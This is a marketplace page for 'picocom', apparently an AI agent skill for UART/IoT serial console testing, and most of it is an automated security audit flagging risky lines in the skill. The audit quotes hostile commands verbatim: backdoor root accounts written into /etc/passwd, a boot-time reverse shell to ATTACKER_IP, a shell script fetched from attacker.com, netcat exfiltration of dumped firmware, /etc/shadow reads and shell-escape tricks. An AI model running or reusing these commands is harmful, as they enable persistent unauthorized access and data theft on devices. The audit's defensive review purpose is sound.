📦

picocom

Name: picocom
Author: BrownFineSecurity

مراجعة المحتوى r1 حرج ⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة📁 الوصول إلى نظام الملفات🔑 متغيرات البيئة

تدقيق وحدات تحكم UART الخاصة بـ IoT باستخدام picocom

قد يكون اختبار UART بطيئًا عندما تكون المخرجات التسلسلية كثيرة الضوضاء وصعبة الالتقاط. ترشد هذه المهارة جلسات تسلسلية مصرّح بها مع التسجيل، واكتشاف الموجهات، وفحوصات منظمة للأجهزة المضمنة.

يدعم: Claude Codex Code(CC)

⚠️ 38 ضعيف

لا تثبّت هذا Skill تلقائيًا.

تتطلب السياسة المعتمدة مراجعة المشغّل قبل أي إجراء تثبيت.

التثبيت باستخدام Agent لدي

انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.

طلب الوكيل

Review the Skillstore skill "picocom" from https://skillstore.io/skills/brownfinesecurity-picocom.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-picocom/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.

موارد مهيّأة لـ Agents

استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.

تفاصيل Markdown GET /skills/brownfinesecurity-picocom.md manifest موقَّع GET /api/skills/brownfinesecurity-picocom/manifest lockfile موقَّع GET /api/skills/brownfinesecurity-picocom/lockfile

اختبرها

جارٍ استخدام "picocom". راقب إقلاع جهاز عبر UART لمدة دقيقة واحدة.

النتيجة المتوقعة:

يعرض خط زمني قصير للإقلاع معدل الباود المكتشف، ورسائل النواة، وبدء الخدمات، وموجهات تسجيل الدخول، وأي أخطاء متكررة.

جارٍ استخدام "picocom". شغّل قائمة تحقق صغيرة من الأوامر على BusyBox shell مصرّح به.

النتيجة المتوقعة:

يلخص تقرير موجز هوية الجهاز، وحالة الشبكة، والمسارات القابلة للكتابة، والخدمات الملحوظة، ومراجع السجل الدقيقة.

جارٍ استخدام "picocom". أرسل أوامر AT إلى وحدة تحكم مودم.

النتيجة المتوقعة:

يفصل ملخص استجابات قابل للقراءة بين الردود الناجحة، وأخطاء المودم، والمعرفات، والأوامر التي تحتاج إلى مهلة أطول.

التدقيق الأمني

حرج

v10 • ٩‏/٧‏/٢٠٢٦ فتح التقرير المرتبط بالإصدار

Static findings were a mix of normal serial-device tooling and high-risk dual-use exploitation guidance. I confirmed the critical workflows around password file access, SSH persistence, backdoor accounts, bootloader root-shell bypass, credential searches, firmware extraction, network reconnaissance, and shell=True trigger execution; I dismissed documentation links, Markdown backticks, normal /dev/ttyUSB use, and log cleanup as false positives. Static review was capped at 400/457 representative findings; omitted static matches are unconfirmed, so automatic publishing stays disabled until manual review.

الملفات التي تم فحصها

2,616

الأسطر التي تم تحليلها

113

عناصر المراجعة

تم تجاهل الإيجابيات الكاذبة

مخاوف أمنية مؤكدة (67)

حرج

SKILL.md:630

Sudoers file access

cat /etc/sudoers

The skill instructs reading sudoers data during post-access enumeration. This exposes privilege rules and supports escalation planning.

حرج

examples.md:139

System password file access

cat /etc/shadow

The snippet reads the shadow password database. Password hash access is a serious credential exposure risk.

حرج

examples.md:164

System password file access

less /etc/passwd

The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.

حرج

examples.md:280

System password file access

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.

حرج

examples.md:286

System password file access

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.

حرج

examples.md:316

System password file access

vi /etc/passwd

The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.

حرج

examples.md:328

System password file access

less /etc/passwd

The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.

حرج

examples.md:332

System password file access

more /etc/passwd

The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.

عرض جميع النتائج المؤكدة البالغة 67

حرج

examples.md:360

System password file access

sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh

The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.

حرج

SKILL.md:624

System password file access

cat /etc/passwd

The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.

حرج

SKILL.md:625

System password file access

cat /etc/shadow # If readable - major security issue!

The snippet reads the shadow password database. Password hash access is a serious credential exposure risk.

حرج

SKILL.md:754

System password file access

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.

حرج

SKILL.md:831

System password file access

less /etc/passwd # Then !/bin/sh

The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.

حرج

examples.md:269

SSH directory access

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.

حرج

examples.md:270

SSH directory access

chmod 600 /root/.ssh/authorized_keys

The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.

حرج

SKILL.md:742

SSH directory access

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.

حرج

SKILL.md:743

SSH directory access

chmod 600 /root/.ssh/authorized_keys

The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.

حرج

examples.md:277

Malware type keywords

**Method 2: Backdoor User Account**:

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:280

Malware type keywords

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:283

Malware type keywords

passwd backdoor

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:286

Malware type keywords

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:292

Malware type keywords

echo '#!/bin/sh' > /etc/init.d/S99backdoor

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:293

Malware type keywords

echo 'while true; do' >> /etc/init.d/S99backdoor

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:294

Malware type keywords

echo ' sleep 300' >> /etc/init.d/S99backdoor

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:295

Malware type keywords

echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:296

Malware type keywords

echo 'done &' >> /etc/init.d/S99backdoor

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:297

Malware type keywords

chmod +x /etc/init.d/S99backdoor

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:473

Malware type keywords

- [ ] Backdoor installation possibilities

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

SKILL.md:753

Malware type keywords

# Add a backdoor user

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

SKILL.md:754

Malware type keywords

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

SKILL.md:755

Malware type keywords

passwd backdoor

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

SKILL.md:758

Malware type keywords

echo "/path/to/backdoor &" >> /etc/rc.local

The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.

حرج

examples.md:168

UID/GID manipulation

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

The snippet sets UID 0 before launching a shell. That is explicit privilege escalation behavior.

حرج

examples.md:269

SSH host/auth files

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.

حرج

examples.md:270

SSH host/auth files

chmod 600 /root/.ssh/authorized_keys

The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.

حرج

SKILL.md:742

SSH host/auth files

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.

حرج

SKILL.md:743

SSH host/auth files

chmod 600 /root/.ssh/authorized_keys

The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.

حرج

SKILL.md:736-758 examples.md:260-297

Persistence and Backdoor Access Workflow

The skill provides a complete workflow for adding root SSH access, creating a backdoor UID 0 user, and starting a reverse shell on boot.

The cited sections contain step-by-step persistence and backdoor account instructions, not just abstract discussion.

حرج

SKILL.md:676-703 examples.md:86-121

Bootloader Authentication Bypass Guidance

The skill instructs users to modify U-Boot boot arguments to launch a root shell or single-user mode and bypass normal login controls.

The cited lines explicitly describe changing boot arguments to init=/bin/sh and then obtaining root access.

حرج

SKILL.md:761-780 examples.md:212-229

Firmware Extraction and Exfiltration Workflow

The skill walks through identifying flash partitions, dumping firmware images, and transferring the root filesystem to another host.

The cited sections combine flash dumping commands with network or removable-media transfer steps for extracted firmware.

مرتفع

examples.md:391

Network scanning tools

nmap -sn 192.168.1.0/24

The snippet runs nmap against a local subnet from the target context. This is active network reconnaissance.

مرتفع

SKILL.md:657

Certificate/key files

find / -name "*.pem" 2>/dev/null

The snippet searches the full filesystem for private key material. This can expose credentials and device trust anchors.

مرتفع

SKILL.md:658

Certificate/key files

find / -name "*.key" 2>/dev/null

The snippet searches the full filesystem for private key material. This can expose credentials and device trust anchors.

مرتفع

examples.md:246

Crypto seed/private key mention

# - Private keys

The line directs reviewers to look for private keys in extracted firmware. This is credential discovery in a dual-use workflow.

متوسط

examples.md:46

Network reconnaissance

ifconfig -a

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

examples.md:47

Network reconnaissance

ip addr show

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

examples.md:106

Network reconnaissance

# Now you have root access - proceed with enumeration

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

examples.md:378

Network reconnaissance

netstat -tulpn

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

examples.md:379

Network reconnaissance

ss -tulpn

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

examples.md:383

Network reconnaissance

netstat -anp

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

examples.md:384

Network reconnaissance

ss -anp

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

SKILL.md:52

Network reconnaissance

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --comma

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

SKILL.md:63

Network reconnaissance

echo -e "help\ndate\nifconfig\nps" > commands.txt

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

SKILL.md:338

Network reconnaissance

$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

SKILL.md:511

Network reconnaissance

ifconfig, route, ping, netstat, telnet

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

SKILL.md:600

Network reconnaissance

ifconfig -a

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

SKILL.md:601

Network reconnaissance

ip addr show

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

SKILL.md:636

Network reconnaissance

netstat -tulpn

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

متوسط

SKILL.md:637

Network reconnaissance

ss -tulpn

The snippet gathers interface or socket information after console access. This is target network reconnaissance.

منخفض

examples.md:34-35

System reconnaissance

The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.

منخفض

examples.md:35

System reconnaissance

whoami

The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.

منخفض

examples.md:38

System reconnaissance

uname -a

The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.

منخفض

SKILL.md:587

System reconnaissance

uname -a

The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.

منخفض

SKILL.md:598

System reconnaissance

hostname

The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.

منخفض

SKILL.md:599

System reconnaissance

cat /etc/hostname

The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.

منخفض

SKILL.md:619-620

System reconnaissance

The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.

منخفض

SKILL.md:620

System reconnaissance

whoami

The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.

عناصر مراجعة القدرات (113)

هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.

حرج

examples.md:168

Python os.system

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

The snippet launches /bin/sh through Python during shell escape guidance. This is explicit command execution for privilege escalation.

حرج

examples.md:339

Python os.system

python -c 'import os; os.system("/bin/sh")'

The snippet launches /bin/sh through Python during shell escape guidance. This is explicit command execution for privilege escalation.

حرج

examples.md:168

Ruby/PHP system() call

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.

حرج

examples.md:339

Ruby/PHP system() call

python -c 'import os; os.system("/bin/sh")'

The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.

حرج

examples.md:357

Ruby/PHP system() call

awk 'BEGIN {system("/bin/sh")}'

The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.

حرج

SKILL.md:833

Ruby/PHP system() call

awk 'BEGIN {system("/bin/sh")}'

The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.

حرج

examples.md:267

Hidden file access

mkdir -p /root/.ssh

The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.

حرج

examples.md:268

Hidden file access

chmod 700 /root/.ssh

The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.

حرج

examples.md:269

Hidden file access

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.

حرج

examples.md:270

Hidden file access

chmod 600 /root/.ssh/authorized_keys

The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.

حرج

SKILL.md:741

Hidden file access

mkdir -p /root/.ssh

The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.

حرج

SKILL.md:742

Hidden file access

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.

حرج

SKILL.md:743

Hidden file access

chmod 600 /root/.ssh/authorized_keys

The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.

حرج

SKILL.md:744

Hidden file access

chmod 700 /root/.ssh

The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.

حرج

examples.md:88

Unix shell invocation

U-Boot> setenv bootargs "${bootargs} init=/bin/sh"

The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.

حرج

examples.md:98

Unix shell invocation

5. **Once booted with init=/bin/sh**:

The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.

حرج

examples.md:116

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.

حرج

examples.md:158

Unix shell invocation

find /etc -exec /bin/sh \;

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:161

Unix shell invocation

vim -c ':!/bin/sh'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:165

Unix shell invocation

!/bin/sh

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:168

Unix shell invocation

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:171

Unix shell invocation

perl -e 'exec "/bin/sh";'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:179

Unix shell invocation

# Example: sudo vim -> :!/bin/sh

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:180

Unix shell invocation

# Example: sudo find -> sudo find . -exec /bin/sh \;

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:190

Unix shell invocation

echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:192

Unix shell invocation

/bin/sh -p # Runs as root

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:280

Unix shell invocation

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:286

Unix shell invocation

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:292

Unix shell invocation

echo '#!/bin/sh' > /etc/init.d/S99backdoor

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:295

Unix shell invocation

echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:318

Unix shell invocation

:!/bin/sh

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:329

Unix shell invocation

!/bin/sh

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:333

Unix shell invocation

!/bin/sh

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:339

Unix shell invocation

python -c 'import os; os.system("/bin/sh")'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:342

Unix shell invocation

perl -e 'exec "/bin/sh";'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:345

Unix shell invocation

ruby -e 'exec "/bin/sh"'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:348

Unix shell invocation

lua -e 'os.execute("/bin/sh")'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:354

Unix shell invocation

find / -name anything -exec /bin/sh \;

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:357

Unix shell invocation

awk 'BEGIN {system("/bin/sh")}'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

examples.md:360

Unix shell invocation

sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

SKILL.md:685

Unix shell invocation

# Modify boot arguments (e.g., init=/bin/sh for root shell)

The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.

حرج

SKILL.md:686

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.

حرج

SKILL.md:692

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/bash"

The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.

حرج

SKILL.md:754

Unix shell invocation

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

SKILL.md:818

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.

حرج

SKILL.md:829

Unix shell invocation

/bin/bash

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

SKILL.md:830

Unix shell invocation

vi # Then :!/bin/sh

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

SKILL.md:831

Unix shell invocation

less /etc/passwd # Then !/bin/sh

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

SKILL.md:832

Unix shell invocation

find / -exec /bin/sh \;

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

SKILL.md:833

Unix shell invocation

awk 'BEGIN {system("/bin/sh")}'

The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.

حرج

SKILL.md:533

Hardcoded URL

wget http://attacker.com/shell.sh

The URL downloads a shell from an attacker-controlled placeholder. This is a clear payload retrieval pattern.

مرتفع

examples.md:406

Generic API/secret keys

grep -r "api_key" /var/www/ 2>/dev/null

The snippet searches web files for API keys. This can reveal reusable application secrets.

مرتفع

examples.md:39

Linux /proc filesystem access

cat /proc/version

The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.

مرتفع

examples.md:202

Linux /proc filesystem access

cat /proc/mtd

The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.

مرتفع

examples.md:388

Linux /proc filesystem access

cat /proc/net/arp

The /proc read enumerates neighboring network devices. It supports reconnaissance from the compromised device context.

مرتفع

SKILL.md:588

Linux /proc filesystem access

cat /proc/version

The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.

مرتفع

SKILL.md:589

Linux /proc filesystem access

cat /proc/cpuinfo

The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.

مرتفع

SKILL.md:590

Linux /proc filesystem access

cat /proc/meminfo

The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.

مرتفع

SKILL.md:607

Linux /proc filesystem access

cat /proc/mounts

The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.

مرتفع

SKILL.md:766

Linux /proc filesystem access

cat /proc/mtd

The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.

مرتفع

SKILL.md:767

Linux /proc filesystem access

cat /proc/partitions

The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.

مرتفع

examples.md:216

Non-standard device file access

mount /dev/sda1 /mnt/usb

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

examples.md:219

Non-standard device file access

dd if=/dev/mtd0 of=/mnt/usb/uboot.bin bs=1024

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

examples.md:220

Non-standard device file access

dd if=/dev/mtd1 of=/mnt/usb/uboot-env.bin bs=1024

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

examples.md:221

Non-standard device file access

dd if=/dev/mtd2 of=/mnt/usb/kernel.bin bs=1024

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

examples.md:222

Non-standard device file access

dd if=/dev/mtd3 of=/mnt/usb/rootfs.bin bs=1024

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

examples.md:225

Non-standard device file access

dd if=/dev/mtd3 of=/tmp/rootfs.bin bs=1024

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

SKILL.md:770

Non-standard device file access

dd if=/dev/mtd0 of=/tmp/bootloader.bin

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

SKILL.md:771

Non-standard device file access

dd if=/dev/mtd1 of=/tmp/kernel.bin

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

SKILL.md:772

Non-standard device file access

dd if=/dev/mtd2 of=/tmp/rootfs.bin

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

SKILL.md:779

Non-standard device file access

mount /dev/sda1 /mnt

The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.

مرتفع

serial_helper.py:596

Python subprocess.run

proc = subprocess.run(

The helper executes a user-supplied trigger string with shell=True. That creates command injection and arbitrary shell execution risk.

مرتفع

examples.md:174

sudo privilege escalation

**Check sudo permissions**:

The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.

مرتفع

examples.md:176

sudo privilege escalation

sudo -l

The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.

مرتفع

examples.md:179

sudo privilege escalation

# Example: sudo vim -> :!/bin/sh

The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.

مرتفع

examples.md:180

sudo privilege escalation

# Example: sudo find -> sudo find . -exec /bin/sh \;

The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.

مرتفع

SKILL.md:629

sudo privilege escalation

sudo -l

The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.

مرتفع

examples.md:228

Hardcoded IP address

nc 192.168.1.100 4444 < /tmp/rootfs.bin

The snippet transfers a firmware image over netcat to a fixed host. That is data exfiltration from the target device.

مرتفع

examples.md:391

Hardcoded IP address

nmap -sn 192.168.1.0/24

The snippet scans a local subnet. That is active network reconnaissance.

مرتفع

SKILL.md:695

Hardcoded IP address

setenv serverip 192.168.1.100

The address is part of bootloader network boot configuration for custom firmware. That can alter device boot behavior.

مرتفع

SKILL.md:696

Hardcoded IP address

setenv ipaddr 192.168.1.200

The address is part of bootloader network boot configuration for custom firmware. That can alter device boot behavior.

مرتفع

examples.md:225

Temp directory access

dd if=/dev/mtd3 of=/tmp/rootfs.bin bs=1024

The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.

مرتفع

examples.md:228

Temp directory access

nc 192.168.1.100 4444 < /tmp/rootfs.bin

The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.

مرتفع

SKILL.md:770

Temp directory access

dd if=/dev/mtd0 of=/tmp/bootloader.bin

The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.

مرتفع

SKILL.md:771

Temp directory access

dd if=/dev/mtd1 of=/tmp/kernel.bin

The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.

مرتفع

SKILL.md:772

Temp directory access

dd if=/dev/mtd2 of=/tmp/rootfs.bin

The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.

مرتفع

SKILL.md:776

Temp directory access

nc attacker_ip 4444 < /tmp/rootfs.bin

The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.

مرتفع

SKILL.md:780

Temp directory access

cp /tmp/*.bin /mnt/

The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.

مرتفع

SKILL.md:828

Unix shell invocation

/bin/sh

The snippet appears in a limited-shell escape scenario. Invoking a full shell can bypass restrictions.

مرتفع

examples.md:142

Standard device file access

grep -r "password" /etc/ 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

مرتفع

examples.md:143

Standard device file access

find / -name "*password*" -type f 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

مرتفع

examples.md:405

Standard device file access

grep -r "password" /var/www/ 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

مرتفع

examples.md:406

Standard device file access

grep -r "api_key" /var/www/ 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

مرتفع

SKILL.md:657

Standard device file access

find / -name "*.pem" 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

مرتفع

SKILL.md:658

Standard device file access

find / -name "*.key" 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

مرتفع

SKILL.md:659

Standard device file access

find / -name "*password*" 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

مرتفع

SKILL.md:660

Standard device file access

find / -name "*credential*" 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

مرتفع

SKILL.md:661

Standard device file access

grep -r "password" /etc/ 2>/dev/null

The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.

متوسط

SKILL.md:132

Hardcoded IP address

--trigger-script "curl http://192.168.1.100/api/reboot" \

The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.

متوسط

SKILL.md:366

Hardcoded IP address

--trigger-script "curl -X POST http://192.168.1.100/api/update" \

The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.

متوسط

SKILL.md:395

Hardcoded IP address

--trigger-script "curl http://192.168.1.100/api/reboot" \

